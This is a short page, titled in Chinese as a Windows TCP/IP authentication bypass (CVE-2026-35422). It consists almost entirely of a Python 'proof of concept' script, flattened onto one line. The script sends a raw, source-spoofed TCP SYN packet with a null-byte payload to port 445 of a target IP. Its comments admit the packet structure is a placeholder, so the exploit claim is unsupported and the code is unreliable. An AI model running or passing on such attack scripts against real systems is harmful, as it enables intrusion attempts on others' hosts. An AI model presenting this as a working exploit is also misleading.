CVE-2026-35422 Windows TCP/IP认证绕过漏洞

# Proof of Concept (Conceptual) for CVE-2026-35422 # This script demonstrates the concept of sending a crafted packet # to potentially trigger the authentication bypass. # Usage: python poc.py <target_ip> import socket import sys import struct def send_exploit_packet(target_ip): try: # Create a raw socket (requires Administrator/Root privileges) # IPPROTO_TCP is 6 s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) # Constructing a custom IP header # This is a placeholder for the specific packet structure needed source_ip = '192.168.1.100' # Spoofed or attacker IP destination_ip = target_ip # IP Header fields version_ihl = 0x45 tos = 0 total_length = 0 # Kernel will fill this id = 54321 flags_fragment = 0x4000 ttl = 64 protocol = socket.IPPROTO_TCP header_checksum = 0 source_addr = socket.inet_aton(source_ip) dest_addr = socket.inet_aton(destination_ip) ip_header = struct.pack('!BBHHHBBH4s4s', version_ihl, tos, total_length, id, flags_fragment, ttl, protocol, header_checksum, source_addr, dest_addr) # Constructing a custom TCP header # The specific vulnerability might require specific flags or sequence numbers source_port = 12345 dest_port = 445 # Common Windows port seq = 1000 ack_seq = 0 doff_res = (5 << 4) | 0 tcp_flags = 0x02 # SYN flag (example) window = socket.htons(5840) checksum = 0 urg_ptr = 0 tcp_header = struct.pack('!HHLLBBHHH', source_port, dest_port, seq, ack_seq, doff_res, tcp_flags, window, checksum, urg_ptr) # Payload (Optional, depends on exploit specifics) payload = b'\x00' * 10 # Send the packet packet = ip_header + tcp_header + payload s.sendto(packet, (destination_ip, 0)) print(f"[+] Packet sent to {target_ip}") s.close() except PermissionError: print("[-] Error: This script requires root/administrator privileges to send raw sockets.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") else: send_exploit_packet(sys.argv[1])